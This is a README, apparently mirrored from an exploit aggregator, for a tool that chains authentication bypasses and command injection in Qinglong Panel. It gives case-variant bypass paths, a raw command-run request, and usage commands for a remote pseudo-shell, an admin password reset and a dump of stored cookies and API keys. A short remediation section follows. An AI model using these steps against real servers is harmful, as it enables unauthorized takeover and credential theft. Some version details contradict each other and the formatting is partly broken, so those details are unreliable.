Qinglong-Combo-Exploit

## https://sploitus.com/exploit?id=216CC572-B6A5-5585-B503-DA3CAC9E00D0
# 🐉 Qinglong Combo Exploit

### Qinglong Panel Three Vulnerability Combination Tool

**QVD-2026-10895 · CVE-2026-3965 · CVE-2026-4047**

[![Python](https://img.shields.io/badge/Python-3.8%2B-blue.svg)](https://www.python.org/)  
[![License](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](LICENSE)  
[![Version](https://img.shields.io/badge/Version-1.0.0-orange.svg)](#)  
[![CVSS](https://img.shields.io/badge/CVSS-9.8-red.svg)](#)

---

## 📖 Project Overview

`qinglong-combo-exp` is a combination tool targeting multiple high-risk vulnerabilities in **Qinglong Panel**. It integrates complete exploit chains for three publicly known vulnerabilities, supporting vulnerability scanning, remote command execution, authentication bypass, credential reset, and information dump functions. Qinglong Panel is an open-source task scheduling and script automation platform, widely deployed in personal servers, NAS devices, and enterprise internal networks. Multiple vulnerabilities disclosed in February 2026 allow attackers to bypass authentication and execute arbitrary system commands without authorization. These vulnerabilities have been exploited for mining malware propagation. > ⚠️ **This tool is only used for authorized security testing and vulnerability research. Testing target systems without authorization is illegal.**

---

## 🔓 Vulnerability Details

### Vulnerability Overview

| Vulnerability Number | Vulnerability Name | Type | CVSS | Exploitation Vector |
|-------------------|-------------------|------|------|--------------------|
| **QVD-2026-10895** | Qinglong Panel Authentication Bypass Vulnerability | Authentication Bypass | 9.8 | Case-sensitive variants + `/open/user/init` to reset credentials |
| **CVE-2026-3965** | Qinglong Panel Remote Command Execution Vulnerability | RCE | 9.8 | `/apI/system/command-run` command injection |
| **CVE-2026-4047** | Qinglong Panel Case-Sensitive Authentication Bypass Vulnerability | Authentication Bypass | 9.3 | `/aPi/` and other path variants |

### QVD-2026-10895 — Authentication Bypass

Qinglong Panel has several authentication bypass vulnerabilities:

- **Case-Sensitive Path Bypass**: The security middleware performs case-sensitive matching on the `/api/` path, but the underlying Express.js framework is not case-sensitive. Using variants like `/API/`, `/apI/`, or `/aPi/` can bypass JWT authentication.
- **Initialization Interface Bypass**: The `/open/user/init` path remains accessible even on initialized systems. Attackers can reset administrator credentials and gain access.

### CVE-2026-3965 — Remote Command Execution

The `/system/command-run` interface directly appends the user-sent `command` parameter to `exec()`, without any filtering. Combining case-sensitive bypass, attackers can execute arbitrary system commands without authorization:

```http
PUT /apI/system/command-run HTTP/1.1
Host: target:5700
Content-Type: application/json

{"command":"id"}
```

### CVE-2026-4047 — Case-Sensitive Authentication Bypass

The security layer uses case-sensitive regular expression matching for protected routes, but Express.js is not case-sensitive. Bypassing authentication is possible with the following variants:

```
/apI/  /APi/  /Api/  /aPi/  /API/  /ApI/  /aPI/
```

---

## 🎯 Impact

- **Affected Versions**: Qinglong **= 2.20.2**
- **Default Port**: `5700`
- **Platform**: Linux x86_64, ARM64, macOS
- **Off-the-Board Use**: Used for mining malware propagation
- **Domestic Risk Assets**: Approximately 17,000+ (by Qilin’s Hawk Map measurement data)

---

## ✨ Features

- 🔍 **Multiple Vulnerabilities Scanning**: Simultaneously detects QVD-2026-10895, CVE-2026-3965, and CVE-2026-4047
- 🎯 **Fingerprint Recognition**: Automatically identifies Qinglong Panel and its versions, comparing with fixed versions
- 🔓 **Automatic Bypass Detection**: Automatically tests 9 case-sensitive variants to locate available bypass paths
- 💻 **Remote Command Execution**: Executes arbitrary system commands via `command-run` interface
- 🐚 **Interactive Pseudo-Sh shell**: Continuously executes commands, simulating terminal interactions
- 🔑 **Credential Reset**: Resets administrator passwords and obtains tokens via `/open/user/init`
- 📦 **Information Dump**: Batch captures system information, users, environment variables, scheduled tasks, and script lists
- 🌐 **Proxy Support**: Supports HTTP proxies; can be set up with Burp Suite for packet capture
- 📊 **Result Aggregation**: Provides structured vulnerability summary reports after scanning

---

## 🚀 Installation

### Environment Requirements

- Python 3.8+
- requests library

### Quick Installation

```bash
# Clone repository
git clone https://github.com/kk3432/Qinglong-Combo-Exploit.git
```

cd Qinglong-Combo-Exploit

# Install dependencies
pip3 install requests

# Verify installation
python3 qinglong_combo_exp.py --help

### One-click execution (no need to clone)
```bash
curl -sO https://raw.githubusercontent.com/kk3432/Qinglong-Combo-Exploit/main/qinglong_combo_exp.py
pip3 install requests
python3 qinglong_combo_exp.py -u http://target:5700 --scan
```

---

## 📖 How to use

### Basic syntax
```bash
python3 qinglong_combo_exp.py -u [options]
```

### Execution modes
| Mode | Description |
|------|------|
| `--scan` | Scan all three vulnerabilities and output a summary report |
| `--rce "command"` | Execute a single command (CVE-2026-3965) |
| `--shell` | Enter an interactive pseudo-shell |
| `--reset` | Reset the administrator password (QVD-2026-10895) |
| `--dump` | Use authentication bypass to dump target information |
| `--all` | Execute a full exploitation chain (scan + exploit + dump) |

### Common options
| Option | Description | Default value |
|------|------|-
| `-u, --url` | Target URL (required) | - |
| `-t, --timeout` | Request timeout in seconds | `10` |
| `--proxy` | HTTP proxy address | None |
| `-user, --username` | Username for password reset | `admin` |
| `-pass, --password` | New password for password reset | `P@ssw0rd123` |

### Example usage
#### 1. Vulnerability scan
```bash
# Scan a single target
python3 qinglong_combo_exp.py -u http://192.168.1.100:5700 --scan
```

#### 2. Scan via proxy
```bash
python3 qinglong_combo_exp.py -u http://192.168.1.100:5700 --scan --proxy http://127.0.0.1:8080
```

**Output example:**
```
[*] Target: http://192.168.1.100:5700
[*] Fingerprinting in progress... [+] Vulnerability detected: Qinglong Panel Web Interface
[+] Qinglong Panel version: 2.20.1
[VULN] Version 2.20.1 ⚠️ This operation will **actually modify** the target administrator password. Used only for authorization testing.
```

#### 3. Information dump
```bash
python3 qinglong_combo_exp.py -u http://192.168.1.100:5700 --dump
```

The dump includes:
- System information (version, platform, running time)
- User list (username, email, avatar)
- Environment variables (including JD.com cookies, API keys, etc.)
- Scheduled task list (task name, Cron expression, script path)
- Script file list

The result is saved as `qinglong_dump__.json`.

#### 4. Full exploitation chain
```bash
python3 qinglong_combo_exp.py -u http://192.168.1.100:5700 --all
```

This executes the following steps in order: fingerprinting → scanning three vulnerabilities → executing commands (id/whoami/uname/pwd) → dumping information.

---

## 🔧 Detection mechanism
### Vulnerability detection process
```
Target URL
    │
    ▼
┌─────────────┐
│  Fingerprinting    │   Detect page titles, API responses, version numbers
└──────┬──────┐
       │
       ▼
┌─────────────────────────────────────────┐
│            Vulnerability detection module                    │
│                                          │
│  QVD-2026-10895                         │
│    ├─ POST /open/user/init → Detect accessibility     │
│    └─ Case-sensitive path variations → Detect authentication bypass │
│                                          │
│  CVE-2026-3965                          │
│    └─ PUT /apI/system/command-run       │
│        body: {"command":"id"}           │
│        → Detect uid/gid in the response      │
│                                          │
│  CVE-2026-4047                          │
│    ├─ 9 case-sensitive path variations detected  │
```

│    └─ Multiple Protected Interface Access Tests               │
│        (System/User/Crons/Env/Scripts)  │
└─────────────────────────────────────────┘
       │
       ▼
   Vulnerability Summary Report
```

### Capitalization Bypass Variants

The tool automatically attempts the following 9 path variants to find the first available bypass route:

```
/api/  (Normal path, requires authentication – baseline)
/apI/  /APi/  /Api/  /aPi/  /API/  /ApI/  /aPI/
```

---

## 🛡️ Fix Suggestions

### 1. Upgrade Immediately

Update to Qinglong Panel **v2.20.2 or higher version**:

```bash
# Docker deployment
docker pull whyour/qinglong:latest
docker-compose up -d

# Or specify the version
docker pull whyour/qinglong:2.20.2
```

### 2. Network Security Enhancements

- **Do not expose the panel directly to the public internet**
- Use VPN or zero-trust tunnels (such as Cloudflare Tunnel, Tailscale) for access
- Configure firewalls to restrict access from source IP addresses to port 5700
- Enable HTTPS and reverse proxies (Nginx/Caddy)

### 3. Intrusion Investigation

If an affected version has been deployed, assume the system has been compromised:

```bash
# Check mining processes
ps aux | grep -E 'fullgc|\.gc'
ls -la /root/.fullgc ~/.fullgc 2>/dev/null

# Check abnormal scheduled tasks
crontab -l
cat /etc/crontab

# Check abnormal network connections
netstat -tlnp | grep -v '127.0.0.1'

# Check administrator accounts
# Log in to the panel and check the user list
```

### 4. Password Reset

Immediately**reset** all administrator passwords after upgrading, assuming old credentials have been leaked. Also check environmental variables for any sensitive information (such as JD.com cookies, API keys) that may have been stolen. ---

## 📝 Disclaimer

```
This tool is used solely for authorized security testing, vulnerability research, and educational purposes. Users must ensure they have legitimate testing authorization for the target system.
Unauthorized use of this tool on the target system is illegal.
Any legal responsibilities arising from the use of this tool are the sole responsibility of the user.
The developer does not assume any responsibility for any direct or indirect losses caused by the use of this tool.

Please comply with local laws and regulations when using this tool.
```

---

## 📚 Reference Links

### Vulnerability Notices

- [Qianxin CERT – Qinglong Panel Identity Authentication Bypass Vulnerability (QVD-2026-10895) Safety Notice](https://www.secrss.com/articles/88140)
- [GitHub Issue – CVE-2026-3965: whyour/qinglong has a Remote Command Execution Vulnerability](https://github.com/A7cc/cve/issues/6)
- [Snyk – CVE-2026-3965 Remote Code Execution (RCE)](https://security.snyk.io/vuln/SNYK-JS-WHYOURQINGLONG-15440732)
- [Snyk – CVE-2026-4047 Improper Handling of Case Sensitivity](https://security.snyk.io/vuln/SNYK-JS-WHYOURQINGLONG-15468374)
- [The CyberTrove – Critical “Qinglong” 0-Day Is Hijacking Linux Servers](https://thecybertrove.com/qinglong-rce-vulnerability-cryptominer-exploit-2026/)

### Official Resources

- [Qinglong Panel Official Repository](https://github.com/whyour/qinglong)
- [Fix PR #2935](https://github.com/whyour/qinglong/pull/2935)
- [Fix PR #2941](https://github.com/whyour/qinglong/pull/2941)
- [Fix Commit 6bec52d](https://github.com/whyour/qinglong/commit/6bec52dca158481258315ba0fc2f11206df7b719)

### Related Tools

- [Yakit – Cybersecurity Tool for Individual Soldiers](https://github.com/yaklang/yakit)
- [Nuclei – YAML-based Vulnerability Scanner](https://github.com/projectdiscovery/nuclei)

---

## 📄 License

This project is open-source under [Apache License 2.0](LICENSE). ---

**If this project was helpful to you, please give it a ⭐ Star!**

[![Star History Chart](https://api.star-history.com/svg?repos=kk3432/Qinglong-Combo-Exploit&type=Date)](#)